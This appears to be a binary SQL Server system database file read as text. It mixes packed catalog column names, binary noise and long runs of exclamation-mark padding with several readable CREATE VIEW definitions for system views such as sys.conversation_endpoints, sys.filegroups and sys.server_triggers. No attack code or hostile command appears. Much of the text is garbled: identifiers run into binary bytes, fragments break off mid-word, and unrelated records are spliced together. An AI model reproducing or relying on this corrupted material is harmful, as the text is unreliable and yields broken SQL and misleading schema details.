		h2JT~P,tHZ.xD xT*xP,|`)ZXI.h6.assembly_class6(assembly_id60assembly_method6@execute_as_principal_id6$object_id6&definition6@execute_as_principal_id6$object_id60uses_ansi_nulls6>uses_quoted_identifier62event_group_type6<event_group_type_desc6"is_first6 is_last62is_trigger_event6$object_id6type6$type_desc6(create_date6(is_disabled6
,is_ms_shipped6	(modify_date6name6$object_id6*parent_class64parent_class_desc6$parent_id6type6$type_desc6.certificate_id60connection_auth6:connection_auth_desc6:encryption_algorithm6Dencryption_algorithm_desc6(endpoint_id6
4is_admin_endpoint6
<is_encryption_enabled6name6*principal_id6"protocol6,protocol_desc6role6$role_desc6state6	&state_desc6type6$type_desc62event_group_type6<event_group_type_desc62is_trigger_event6$object_id6type6$type_desc6	0broker_instance6(create_date6
(creator_sid6(modify_date6name6$object_id6*parent_class64parent_class_desc6$parent_id6*principal_id6*service_name6(endpoint_id6*method_alias6$namespace6(object_name6,result_format66result_format_desc6,result_schema66result_schema_desc6.certificate_id6
0connection_auth6:connection_auth_desc6:encryption_algorithm6Dencryption_algorithm_desc6(endpoint_id6
4is_admin_endpoint6Lis_message_forwarding_enabled6@message_forwarding_size6name6*principal_id6"protocol6,protocol_desc6state6	&state_desc6type6$type_desc6
2default_database64default_namespace6<default_result_schema6Fdefault_result_schema_desc6(endpoint_id6*header_limit6
4is_admin_endpoint66is_session_enabled6@is_sql_language_enabled6@is_xml_charset_enforced6&login_type6name6*principal_id6"protocol6,protocol_desc60session_timeout6state6	&state_desc6type6$type_desc6Bwsdl_generator_procedure6,discriminator6(endpoint_id6
4is_admin_endpoint6name6*principal_id6"protocol6,protocol_desc6state6	&state_desc6type6$type_desc6(endpoint_id6
&ip_address6
4is_admin_endpoint60is_dynamic_port6name6port6*principal_id6"protocol6,protocol_desc6state6	&state_desc6type6$type_desc68authorization_realm6&clear_port6:default_logon_domain6(endpoint_id6
4is_admin_endpoint6:is_anonymous_enabled6<is_basic_auth_enabled6
<is_clear_port_enabled6>is_compression_enabled6>is_digest_auth_enabled6Fis_integrated_auth_enabled6Bis_kerberos_auth_enabled6:is_ntlm_auth_enabled68is_ssl_port_enabled6name6*principal_id6"protocol6,protocol_desc6site6"ssl_port6state6	&state_desc6type6$type_desc6"url_path6(endpoint_id6
4is_admin_endpoint6name6*principal_id6"protocol6,protocol_desc6state6	&state_desc!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!2P(dJFB\4x^8p@Z>xP$~b2z:f>V2^D

\

tFZ6


l
8

				X	(		X&h<f>V(hD*bH$tBpJ&`)8`u!:eK6@type6@$type_desc6A<conversation_group_id6A8conversation_handle6A0conversation_id6A*dialog_timer6A8end_dialog_sequence6A8far_broker_instance6A
2far_principal_id6A
(far_service6AHfirst_out_of_order_sequence6ANinbound_session_key_identifier6A*is_initiator6A$is_system6A>last_out_of_order_frag6AFlast_out_of_order_sequence6A4last_send_tran_id6A"lifetime6APoutbound_session_key_identifier6A*principal_id6A"priority6A2receive_sequence6A<receive_sequence_frag6A6security_timestamp6A,send_sequence6A8service_contract_id6A&service_id6Astate6A	&state_desc6A0system_sequence6B<conversation_group_id6B$is_system6B&service_id6C8service_contract_id6C&service_id6Dname6D*principal_id6D&service_id6D2service_queue_id6E:is_sent_by_initiator6E4is_sent_by_target6E0message_type_id6E8service_contract_id6Fname6F*principal_id6F8service_contract_id6G0message_type_id6Gname6G*principal_id6G&validation6G0validation_desc6G4xml_collection_id6H,data_space_id6H file_id6H8fulltext_catalog_id6HBis_accent_sensitivity_on6H&is_default6H	*is_importing6Hname6Hpath6H*principal_id6I,data_space_id6I.destination_id6I8partition_scheme_id6J,data_space_id6J(function_id6J&is_default6J$is_system6Jname6Jtype6J$type_desc6K,data_space_id6K.filegroup_guid6K&is_default6K	*is_read_only6K$is_system6K2log_filegroup_id6Kname6Ktype6K$type_desc6L,data_space_id6L&is_default6L$is_system6Lname6Ltype6L$type_desc6M(boundary_id6M(function_id6M*parameter_id6Mvalue6N.collation_name6N(function_id6N&max_length6N*parameter_id6N$precision6Nscale6N.system_type_id6N*user_type_id6O@boundary_value_on_right6O(create_date6Ofanout6O(function_id6O$is_system6O	(modify_date6Oname6Otype6O$type_desc6P(assembly_id6P>referenced_assembly_id6Q(assembly_id6Q content6Q file_id6Qname6R(assembly_id6R"clr_name6R(create_date6R
0is_user_defined6R&is_visible6R	(modify_date6Rname6R.permission_set6R8permission_set_desc6R*principal_id6T8member_principal_id6T4role_principal_id6V8authentication_type6VBauthentication_type_desc6V(create_date6V<default_language_lcid6V
<default_language_name6V8default_schema_name6V
,is_fixed_role6V(modify_date6Vname6V8owning_principal_id6V*principal_id6V	sid6Vtype6V$type_desc6Wname6W*principal_id6W$schema_id6X.assembly_class6X(assembly_id6X@assembly_qualified_name6X	.collation_name6X
4default_object_id6X2is_assembly_type6X4is_binary_ordered6X0is_fixed_length6X
(is_nullable6X,is_table_type6X0is_user_defined6X&max_length6Xname6X$precision6X*principal_id6X prog_id6X.rule_object_id6Xscale6X$schema_id6X.system_type_id6X*user_type_id6Y	.collation_name6Y
4default_object_id6Y2is_assembly_type6Y
(is_nullable6Y,is_table_type6Y0is_user_defined6Y&max_length6Sclass6S&class_desc6S"major_id6S"minor_id6S:grantee_principal_id6S:grantor_principal_id6Stype6S0permission_name6S	state6S
&state_desc!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!X0rD hN(t@lDpX.Pn6:>`h: zX0pH$
|^6^4rJ"T0


|
V
(
Z2tJ0


L
,

		v	L	2		N~X.l0`4nDX~6lBz`X)u s6:>is_restriction_blocked6:@is_substitution_blocked6:kind6:	$kind_desc6:4must_be_qualified6:name6:
Bscoping_xml_component_id6:*symbol_space6:4symbol_space_desc6:4xml_collection_id6:2xml_component_id6:2xml_namespace_id6;"facet_id6;"is_fixed6;kind6;$kind_desc6;value6;2xml_component_id6<:allows_mixed_content6<<base_xml_component_id6<
&derivation6<0derivation_desc6<(is_abstract6<:is_extension_blocked6<6is_final_extension6<:is_final_list_member6<:is_final_restriction6<<is_final_union_member6<*is_qualified6<>is_restriction_blocked6<kind6<	$kind_desc6<name6<
Bscoping_xml_component_id6<*symbol_space6<4symbol_space_desc6<4xml_collection_id6<2xml_component_id6<2xml_namespace_id6=<base_xml_component_id6=
&derivation6=0derivation_desc6=*is_qualified6=kind6=	$kind_desc6=name6=
Bscoping_xml_component_id6=*symbol_space6=4symbol_space_desc6=4xml_collection_id6=2xml_component_id6=2xml_namespace_id6>name6>4xml_collection_id6>2xml_namespace_id6?class6?&class_desc6?"major_id6?"minor_id6?name6?value6@&backup_lsn6@&create_lsn6@,data_space_id6@>differential_base_guid6@<differential_base_lsn6@>differential_base_time6@"drop_lsn6@$file_guid6@ file_id6@growth6@
6is_media_read_only6@2is_name_reserved6@4is_percent_growth6@*is_read_only6@$is_sparse6@"max_size6@name6@,physical_name6@,read_only_lsn6@.read_write_lsn6@:redo_start_fork_guid6@.redo_start_lsn6@<redo_target_fork_guid6@0redo_target_lsn6@
size6@state6@	&state_desc!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!pT:
f8



V
"
|X6~R,



f
J

			f	2	xT:~LF,Jf>r@$p>
jP`z)Gi
6G2configuration_id6G(description6G	(is_advanced6G&is_dynamic6G
&is_not_use6G maximum6G minimum6Gname6Gvalue6G*value_in_use6(provider_id6guid62provider_version62sqlcrypt_version6,friendly_name68authentication_type6<symmetric_key_support6Dsymmetric_key_persistance6	:symmetric_key_export6
:symmetric_key_import6>asymmetric_key_support6Fasymmetric_key_persistance6
<asymmetric_key_export6<asymmetric_key_import6"@objname6"@type_id6&@type_name6(@max_length6&@precision6@scale60@collation_name62@is_xml_document66@xml_collection_id6$TYPE_NAME6$DATA_TYPE6*DATA_TYPE_906*DATA_TYPE_286(COLUMN_SIZE6.COLUMN_SIZE_286.LITERAL_PREFIX6.LITERAL_SUFFIX6	,CREATE_PARAMS6
2CREATE_PARAMS_906(IS_NULLABLE6.CASE_SENSITIVE6
&SEARCHABLE66UNSIGNED_ATTRIBUTE62FIXED_PREC_SCALE64AUTO_UNIQUE_VALUE60LOCAL_TYPE_NAME6,MINIMUM_SCALE62MINIMUM_SCALE_906,MAXIMUM_SCALE62MAXIMUM_SCALE_906GUID6 TYPELIB6 VERSION6 IS_LONG6&BEST_MATCH6,BEST_MATCH_906,BEST_MATCH_286.IS_FIXEDLENGTH64IS_FIXEDLENGTH_9064MANAGED_DATA_TYPE6J8&AS_LOCATOR6J8
BCHARACTER_MAXIMUM_LENGTH6J8>CHARACTER_OCTET_LENGTH6J8<CHARACTER_SET_CATALOGV6V @hexstr6 @prefix6.@truncated_len6*@publication6&@publisher6,@publisher_db6&@owner_sid6@objid6&@publisher6,@publisher_db6*@publication6$@procname6(@proc_owner6"@cftproc6,@identity_col6	 @ts_col6
"@op_type68@primary_key_bitmap6(@pubversion6 @dbname6@type6*@publication60@return_granted6@login6,@initial_list6&@publisher6o*@distributor6o$@password6k&@publisher6k"@dist_db6k.@security_mode6k*@remotelogin6k0@remotepassword6k2@connect_timeout6k<@distributortimestamp6k0@publisher_guid6o&@publisher6o(@subscriber6o@found6o.@show_password6/0@monitor_server6/@p16/@p26/@p36/@p46/@p56/@p66/@p76q@pubid6q@artid6q*@column_nameATA_TYPE6J82SPECIFIC_CATALOG6J80SPECIFIC_SCHEMA6J8,SPECIFIC_NAME6J82ORDINAL_POSITION6J8.PARAMETER_MODE6J8$IS_RESULT6J8&AS_LOCATOR6J8.PARAMETER_NAME6J8	$DATA_TYPE6J8
BCHARACTER_MAXIMUM_LENGTH6J8>CHARACTER_OCTET_LENGTH6J84COLLATION_CATALOG6J8
2COLLATION_SCHEMA6J8.COLLATION_NAME6J8<CHARACTER_SET_CATALOG6J8:CHARACTER_SET_SCHEMA6J86CHARACTER_SET_NAME6J84NUMERIC_PRECISION6J8@NUMERIC_PRECISION_RADIX6J8,NUMERIC_SCALE6J86DATETIME_PRECISION6J8,INTERVAL_TYPE6J86INTERVAL_PRECISION6J8DUSER_DEFINED_TYPE_CATALOG6J8BUSER_DEFINED_TYPE_SCHEMA6J8>USER_DEFINED_TYPE_NAME6J8,SCOPE_CATALOG6J8*SCOPE_SCHEMA6J8&SCOPE_NAMEV6V @hexstr6 @prefix6.@truncated_len6"@hidword6"@lodword6*@publication6&@publisher6,@publisher_db6&@owner_sid6@objid6&@publisher6,@publisher_db6*@publication6$@procname6(@proc_owner6"@cftproc6,@identity_col6	 @ts_col6
"@op_type68@primary_key_bitmap6(@pubversion6SBa@table6SBa6@expected_rowcount6SBa6@expected_checksum6SBa.@rowcount_only6SBa@owner6SBa,@full_or_fast6SBa0@shutdown_agent6SBa(@table_name6 @dbname6@type6*@publication60@return_g(FN(v.
l
DFd	8			N	d6N

	h

n
>

j
h@>

*N
vrdXBt
PflZ0jR:"
nN.`#Y)~Jh6
Ddatabase_specification_id6&audit_guid6(create_date6Ddatabase_specification_id62is_state_enabled6(modify_date6name6
,begin_version6
0cleanup_version6
His_track_columns_updated_on6
4min_valid_version6
$object_id64bounding_box_xmax64bounding_box_xmin64bounding_box_ymax64bounding_box_ymin62cells_per_object6"index_id6*level_1_grid6	4level_1_grid_desc6
*level_2_grid64level_2_grid_desc6*level_3_grid6
4level_3_grid_desc6*level_4_grid64level_4_grid_desc6$object_id68tessellation_scheme62allow_page_locks60allow_row_locks6,data_space_id6(fill_factor64filter_definition6&has_filter6.ignore_dup_key6"index_id6
(is_disabled60is_hypothetical6$is_padded6	.is_primary_key6$is_unique6
:is_unique_constraint6name6$object_id66spatial_index_type6@spatial_index_type_desc68tessellation_scheme6type6$type_desc6$column_id6,is_descending6$object_id60order_column_id6*is_ambiguous68is_caller_dependent6Dis_schema_bound_reference62referenced_class6<referenced_class_desc6	Breferenced_database_name6>referenced_entity_name6,referenced_id6
8referenced_minor_id6
>referenced_schema_name6>referenced_server_name64referencing_class6>referencing_class_desc6.referencing_id6:referencing_minor_id6	.collation_name6
4default_object_id62is_assembly_type6
(is_nullable6,is_table_type60is_user_defined6&max_length6name6$precision6*principal_id6.rule_object_id6scale6
"major_id6
"minor_id6

"is_group6(priority_id6name68service_contract_id62local_service_id68remote_service_name6"prioritybound66null_on_null_input6$object_id60uses_ansi_nulls6@uses_database_collation6>uses_quoted_identifier6(create_date6hints6(is_disabled6(modify_date6name6&parameters6,plan_guide_id6&query_text6
(scope_batch6	0scope_object_id6&scope_type60scope_type_desc6(assembly_id6$object_id6(assembly_id6*user_type_id68fulltext_catalog_id6"index_id6$object_id6&service_id62service_queue_id6 $object_id6 *parameter_id6 *user_type_id6!$column_id6!$object_id6!*user_type_id6"0message_type_id6"4xml_collection_id6#$object_id6#*parameter_id6#4xml_collection_id6$$column_id6$$object_id6$4xml_collection_id6+$algorithm6+.algorithm_desc6+4asymmetric_key_id6+
(attested_by6+Jcryptographic_provider_algid6+Hcryptographic_provider_guid6+	&key_length6+name6+*principal_id6+,provider_type6+&public_key6+@pvt_key_encryption_type6+Jpvt_key_encryption_type_desc6+
sid6+&string_sid6+&thumbprint6,(create_date6,Bfilestream_data_space_id6,
,internal_type6,6internal_type_desc6,
,is_ms_shipped6,*is_published6,8is_schema_published6,4lob_data_space_id6,	(modify_date6,name6,$object_id6,$parent_id6
"major_id6
"minor_id6

"is_group6*partition_id6$object_id6"index_id62partition_number6rows6@filestream_filegroup_id6(is_orphaned6Bdropped_lob_column_state6	$is_unique6
,is_replicated6Dis_logged_for_replication6(priority_id6name68service_contract_id62local_service_idDJTZ.z`:



P
"
|H
h*

z
6
				T	0		zD zV&T,fBR(vBN$x\h64V`<^Lu0A 8CREATE VIEW sys.conversation_endpoints AS
	SELECT ce.conversation_handle,
		ce.conversation_id,
		ce.is_initiator,
		ce.service_contract_id,
		ce.conversation_group_id,
		ce.service_id,
		ce.lifetime,
		ce.state,
		ce.state_desc,
		ce.far_service,
		ce.far_broker_instance,
		ce.principal_id,
		ce.far_principal_id,
		ce.outbound_session_key_identifier,
		ce.inbound_session_key_identifier,
		ce.security_timestamp,
		ce.dialog_timer,
		ce.send_sequence,
		ce.last_send_tran_id,
		ce.end_dialog_sequence,
		ce.receive_sequence,
		ce.receive_sequence_frag,
		ce.system_sequence,
		ce.first_out_of_order_sequence,
		ce.last_out_of_order_sequence,
		ce.last_out_of_order_frag,
		ce.is_system,
		ce.priority
	FROM sys.conversation_endpoints$ ce
	LEFT JOIN sys.syssingleobjrefs f ON f.depid = ce.service_id AND f.class = 21 AND f.depsubid = 0 -- SRC_SVCTOQUEUE
	WHERE has_access('CO', f.indepid) = 1
0B@ G8CREATE VIEW sys.conversation_groups AS
	SELECT cg.conversation_group_id,
		cg.service_id,
		cg.is_system
	FROM sys.conversation_groups$ cg
	JOIN sys.syssingleobjrefs r ON r.depid = cg.service_id AND r.class = 21 AND r.depsubid = 0 -- SRC_SVCTOQUEUE
	WHERE has_access('CO', r.indepid) = 1
0C 8CREATE VIEW sys.service_contract_usages AS
	SELECT service_id = depid,
		service_contract_id = indepid
	FROM sys.sysmultiobjrefs
	WHERE class = 19 AND depsubid = 0 AND indepsubid = 0	--MRC_SVC_CONTRACT_USAGE
0D@ 8CREATE VIEW sys.services AS
	SELECT name,
		service_id,
		principal_id,
		service_queue_id
	FROM sys.services$
	WHERE has_access('SV', service_id) = 1
0E d8CREATE VIEW sys.service_contract_message_usages AS
	SELECT service_contract_id = depid,
		message_type_id = indepid,
		is_sent_by_initiator = sysconv(bit, status & 1),
		is_sent_by_target = sysconv(bit, status & 2)
	FROM sys.sysmultiobjrefs
	WHERE class = 20 AND depsubid = 0 AND indepsubid = 0 -- MRC_SVCCONTRACTMSG
0F@ 8CREATE VIEW sys.service_contracts AS
	SELECT name,
		service_contract_id,
		principal_id
	FROM sys.service_contracts$
	WHERE has_access('SC', service_contract_id) = 1
0G@ 8CREATE VIEW sys.service_message_types AS
	SELECT name,
		message_type_id,
		principal_id,
		validation,
		validation_desc,
		xml_collection_id
	FROM sys.service_message_types$
	WHERE has_access('MT', message_type_id) = 1
0H@ 8CREATE VIEW sys.fulltext_catalogs AS
	SELECT fulltext_catalog_id = o.id,
		name = o.name,
		path = convert(nvarchar(260),v.value),
		is_default = sysconv(bit,o.status & 1),					--FTCSTAT_DEFAULT
		is_accent_sensitivity_on = sysconv(bit,o.status & 2),	--FTCSTAT_ACCENT_SENSITIVE
		data_space_id = r.indepid,
		file_id = f.indepid,
		principal_id = p.indepid,
		is_importing = sysconv(bit,o.status & 4)	--FTCSTAT_IMPORTING
	FROM sys.sysclsobjs o
	LEFT JOIN sys.sysobjvalues v ON v.valclass = 41 AND v.objid = o.id AND v.subobjid = 0 and v.valnum = 0	--SVC_FTCATPATH
	LEFT JOIN sys.syssingleobjrefs r ON r.depid = o.id AND r.class = 45 AND r.depsubid = 0	-- SRC_FTCATTODS
	LEFT JOIN sys.syssingleobjrefs p ON p.depid = o.id AND p.class = 46 AND p.depsubid = 0	-- SRC_FTCATOWNER
	LEFT JOIN sys.syssingleobjrefs f ON f.depid = o.id AND f.class = 16 AND f.depsubid = 0	-- SRC_FTCATTOFILE
	WHERE o.class = 32	--SOC_FTCAT
		AND has_access('FT', o.id) = 1
0I 8CREATE VIEW sys.destination_data_spaces AS
	SELECT depid AS partition_scheme_id,
		depsubid AS destination_id,
		indepid AS data_space_id
	FROM sys.syssingleobjrefs
	WHERE class = 30 AND indepsubid = 0 -- SRC_PRTSCHDSLIST
0J@ 	8CREATE VIEW sys.partition_schemes AS
	SELECT o.name AS name,
		o.id AS data_space_id,
		o.type AS type,
		c.name AS type_desc,
		sysconv(bit, o.status & 0x1) AS is_default,
		sysconv(bit, o.status & 0x4) AS is_system,
		r.indepid AS function_id
	FROM sys.sysclsobjs o
	JOIN sys.syssingleobjrefs r ON r.depid = o.id AND r.class = 31 AND r.depsubid = 0 -- SRC_PRTSCHFUNC
	LEFT JOIN sys.syspalnames c ON c.class = 'DSTY' AND c.value = o.type
	WHERE o.class = 31 AND o.type = 'PS'
0K@ 8CREATE VIEW sys.filegroups AS
	SELECT o.name AS name,
		o.id AS data_space_id,
		o.type,
		c.name AS type_desc,
		sysconv(bit, o.status & 0x1) AS is_default,
		sysconv(bit, o.status & 0x4) AS is_system,
		g.guid AS filegroup_guid,
		r.indepid AS log_filegroup_id,
		sysconv(bit, o.status & 0x2) AS is_read_only
	FROM sys.sysclsobjs o
	LEFT JOIN sys.sysguidrefs g ON g.id = o.id AND g.class = 3 AND g.subid = 0 -- GRC_FGGUID
	LEFT JOIN sys.syssingleobjrefs r ON r.depid = o.id AND r.class = 58 AND r.depsubid = 0 -- SRC_FGPAIR
	LEFT JOIN sys.syspalnames c ON c.class = 'DSTY' AND c.value = o.type
	WHERE o.class = 31 AND o.type IN ('FD', 'FG', 'FL')
0L@ l8CREATE VIEW sys.data_spaces AS
	SELECT o.name AS name,
		o.id AS data_space_id,
		o.type AS type,
		c.name AS type_desc,
		sysconv(bit, o.status & 1) AS is_default,
		sysconv(bit, o.status & 0x4) AS is_system
	FROM sys.sysclsobjs o
	LEFT JOIN sys.syspalnames c ON c.class = 'DSTY' AND c.value = o.type
	WHERE o.class = 31
0M 8CREATE VIEW sys.partition_range_values AS
	SELECT objid AS function_id,
		subobjid AS boundary_id,
		valnum AS parameter_id,
		value AS value
	FROM sys.sysobjvalues
	WHERE valclass = 30
0N@ ~8CREATE VIEW sys.partition_parameters AS
	SELECT idmajor AS function_id,
		subid AS parameter_id,
		xtype AS system_type_id,
		length AS max_length,
		prec AS precision,
		scale AS scale,
		convert(sysname, CollationPropertyFromID(collationid, 'name')) AS collation_name,
		utype AS user_type_id
	FROM sys.systypedsubobjs
	WHERE class = 30
0O@ 8CREATE VIEW sys.partition_functions AS
	SELECT f.name,
		f.id AS function_id,
		f.type,
		n.name AS type_desc,
		f.intprop AS fanout,
		sysconv(bit, f.status & 1) AS boundary_value_on_right,
		sysconv(bit, f.status & 2) AS is_system,
		f.created AS create_date,
		f.modified AS modify_date
	FROM sys.sysclsobjs f
	LEFT JOIN sys.syspalnames n ON n.class = 'PFTY' AND n.value = f.type
	WHERE f.class = 30
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!FeA84P
J	}[f`
<
	]1L0 8CREATE VIEW sys.server_assembly_modules AS
	SELECT object_id = o.id,
		assembly_id = asm.indepid,
		assembly_class = convert(sysname, v.value) collate Latin1_General_BIN,
		assembly_method = convert(sysname, m.value) collate Latin1_General_BIN,
		execute_as_principal_id = x.indepid
	FROM sys.sysschobjs o
	JOIN sys.syssingleobjrefs asm ON asm.depid = o.id AND asm.class = 11 AND asm.depsubid = 0 	-- SRC_MODULETOASM
	LEFT JOIN sys.sysobjvalues v ON v.valclass = 11 AND v.objid = o.id AND v.subobjid = 0 AND v.valnum = 1 	-- SVC_OBJASMENTRY,ASMENTRY_CLASS
	LEFT JOIN sys.sysobjvalues m ON m.valclass = 11 AND m.objid = o.id AND m.subobjid = 0 AND m.valnum = 2 	-- SVC_OBJASMENTRY,ASMENTRY_METHOD
	LEFT JOIN sys.syssingleobjrefs x ON x.depid = o.id AND x.class = 23 AND x.depsubid = 0	-- SRC_OBJEXECASLOGIN
	WHERE o.type = 'TA' AND o.nsclass = 20 AND o.pclass = 100	-- x_eonc_TrgOnServer:x_eunc_Server
		AND has_access('SQ', o.id, 0, 20) = 1
0@ f8CREATE VIEW sys.server_sql_modules AS
	SELECT object_id = o.id,
		definition = object_definition(o.id),
		uses_ansi_nulls = sysconv(bit, o.status & 0x40000),				-- OBJMOD_ANSINULLS
		uses_quoted_identifier = sysconv(bit, o.status & 0x80000), 		-- OBJMOD_QUOTEDIDENT
		execute_as_principal_id = x.indepid
	FROM sys.sysschobjs o
	LEFT JOIN sys.syssingleobjrefs x ON x.depid = o.id AND x.class = 23 AND x.depsubid = 0	-- SRC_OBJEXECASLOGIN
	WHERE o.type = 'TR' AND o.nsclass = 20 AND o.pclass = 100	-- x_eonc_TrgOnServer:x_eunc_Server
		AND has_access('TR', o.id, 0, 20) = 1
0@ 8CREATE VIEW sys.server_trigger_events AS
	SELECT ee.object_id AS object_id,
		ee.event_id AS type,
		ee.event_desc AS type_desc,
		convert(bit, 1) AS is_trigger_event,
		sysconv(bit, convert(int, e.value) & 1) AS is_first,	-- TRG_FIRSTFIRED
		sysconv(bit, convert(int, e.value) & 2) AS is_last,	-- TRG_LASTFIRED
		ee.group_id AS event_group_type,
		ee.group_desc AS event_group_type_desc
	FROM sys.sysobjvalues e
	CROSS APPLY openrowset( TABLE EXPAND_EVENTS, e.objid, e.subobjid, 
		case when (e.valclass = 70 AND convert(int, e.value) & 4 != 4)	-- is user created trigger? 
			then 1 else 0 end) ee
	WHERE e.valclass = 70 AND e.valnum = 100	-- x_eunc_Server
		AND has_access('CO', e.objid) = 1	-- SVC_EXTTRIGEVT, SVC_ASYNTRGEVT
0@ 8CREATE VIEW sys.server_triggers AS
	SELECT o.name,
		object_id = o.id,
		parent_class = o.pclass,
		parent_class_desc = pc.name,
		parent_id = o.pid,
		type = o.type,
		type_desc = n.name,
		create_date = o.created,
		modify_date = o.modified,
		is_ms_shipped = sysconv(bit, o.status & 1),		-- OBJALL_MSSHIPPED
		is_disabled = sysconv(bit, o.status & 256) 		-- OBJTRG_DISABLED
	FROM sys.sysschobjs o
	LEFT JOIN sys.syspalnames n ON n.class = 'OBTY' AND n.value = o.type
	LEFT JOIN sys.syspalvalues pc ON pc.class = 'UNCL' AND pc.value = o.pclass
